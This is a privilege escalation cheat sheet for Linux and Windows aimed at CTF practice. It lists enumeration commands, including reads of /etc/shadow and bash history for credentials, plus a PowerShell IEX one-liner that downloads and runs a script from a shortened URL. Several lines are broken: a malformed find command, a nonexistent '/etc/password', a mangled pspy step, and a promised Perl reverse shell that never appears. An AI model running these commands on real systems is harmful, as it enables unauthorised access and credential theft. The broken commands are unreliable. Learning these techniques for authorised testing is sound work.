Privilege Escalation Reference
Document contents:
- Linux Privesc
- Windows Privesc
- Escalation scripts
Situational Awareness
When establishing a shell on Linux, Windows, or other operating systems, rapid assessment is critical to understand access level, system type, and navigation options. Prior reconnaissance should ideally identify the OS, though Unix-like systems may require additional investigation.
If you're doing HackTheBox, be sure to evaluate all of these things.
Linux/Unix
What user am I?
This command provides two immediate confirmations: shell functionality and active user status.
whoami && id
Dump all environment variables
Environmental variables may indicate containerization or sandboxed environments.
env
Get Kernel Version and Information
Kernel vulnerabilities sometimes enable privilege escalation. This command reveals OS details and potential attack vectors.
uname -a
What is the hostname?
Hostnames resembling "de0921daed50" suggest Docker container environments.
hostname
Am I inside a docker container?
Docker detection fundamentally alters escalation strategies. This requires analyzing cgroup information. See https://tuhrig.de/how-to-know-you-are-inside-a-docker-container/ for additional detail.
cat /proc/1/cgroup
Normal VM output example:
vagrant@ubuntu-13:~$ cat /proc/1/cgroup
11:name=systemd:/
10:hugetlb:/
9:perf_event:/
8:blkio:/
7:freezer:/
6:devices:/
5:memory:/
4:cpuacct:/
3:cpu:/
2:cpuset:/
Container output example:
vagrant@ubuntu-13:~$ docker run busybox cat /proc/1/cgroup
11:name=systemd:/
10:hugetlb:/
9:perf_event:/
8:blkio:/
7:freezer:/
6:devices:/docker/3601745b3bd54d9780436faa5f0e4f72bb46231663bb99a6bb892764917832c2
5:memory:/
4:cpuacct:/
3:cpu:/docker/3601745b3bd54d9780436faa5f0e4f72bb46231663bb99a6bb892764917832c2
2:cpuset:/
What programs are installed?
This command identifies accessible executables and their locations. The list is extensible.
for item in $(echo "iptabes id ifconfig ip netstat arp tmux perl python ruby ls gcc wget"); do which $item; done
Is my $PATH reliable?
Incorrectly configured PATH variables severely limit accessible applications.
echo $PATH
What directories contain binaries?
When PATH configuration is problematic or command execution fails, this locates binary directories.
find . -executable | rev | cut -d "/" -f 2-200 | rev | sort | uniq
find . -executable | rev | cut -d "/" -f 2-200 | rev | sort | uniq | grep bin
Writable files or directories outside of your home directory
find / -writable -type f -o -writable -type d 2>/dev/null | grep -Ev "^(/proc|/home/user|/tmp)"
Files that were edited in the last 10 minutes
This reveals ongoing system activity and whether users are actively working.
find / -mmin -10 2>/dev/null | grep -Ev "^/proc"
What is running?
Process lists may reveal exploitable services or interesting configurations.
ps -ef
ps -ef | grep root
ps aux
Are there any files with SUID/GUID permission bits?
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null
Unix Capabilities
Unix capabilities on binaries represent an escalation vector exploited across CTF challenges and real assessments. Execute from root directory:
getcap -r / 2>/dev/null
See https://vulp3cula.gitbook.io/hackers-grimoire/post-exploitation/privesc-linux for more detail.
Where can you write to?
This identifies world-writable directory locations.
find /\(-perm -o w -perm -o x\) -type d 2>/dev/null
Any hashes?
cat /etc/shadow
cat /etc/password
Can you use sudo?
Sudo misconfiguration may grant immediate privileged access.
sudo -l
sudo -s
cat /etc/sudoers
Has a user tripped up and left their password?
cat .bash_history | grep sudo
cat .bash_history | less
pspy
pspy monitors process execution and frequently identifies cron jobs and automated tasks.
wget https://github.com/DominicBreuker/pspy/releases/download/v1.0.0/pspy32s
Execution steps:
chmod +x pspy32s- Run with
./pspy32s
This will take over the entire terminal or shell, so be sure to start another shell if you're intending on doing some more poking around. Too many times have I started pspy just to ctrl+c when I had what I was looking for and to lose my shell. Infuriating — for reference you can launch a Perl reverse shell like so.
Recommended practice: perform user actions such as clicking webapps or SSH sessions while pspy monitors.
Windows
Unquoted Services
Unquoted service paths create privilege escalation opportunities.
C:\> wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
Find write-access
C:\> icacls "C:\Program Files\Some Folder\"
Services
C:\> sc stop [service name]
C:\> sc start [service name]
Unattended Installs
Unattended installation automation by administrators frequently leaves configuration files containing administrator credentials, particularly unattended.xml and sysprep.xml files.
Stored Credentials
CTF scenarios sometimes leverage stored credentials with runas functionality.
Downloading files
Described as a post-exploitation utility rather than direct privilege escalation.
powershell.exe -command "(New-Object System.Net.WebClient).DownloadFile(\"http://127.0.0.1:8080/file.exe\", \"C:\Users/user\file.exe\")"
Viewing stored credentials:
cmdkey /list
Executing with stored credentials:
runas /profile /savecred /user:ACCESS\Administrator "C:\Users\security\archive.exe"
PowerUp
PowerUp represents a comprehensive Windows privilege escalation assessment tool.
Download from PowerShell:
IEX (New-Object Net.WebClient).DownloadString("http://bit.ly/1PdjSHk")
Post-download import:
Import-Module "$(Get-Location)\PowerUp.ps1"
Execution:
Invoke-AllChecks
A cheat sheet provides supplementary PowerUp guidance.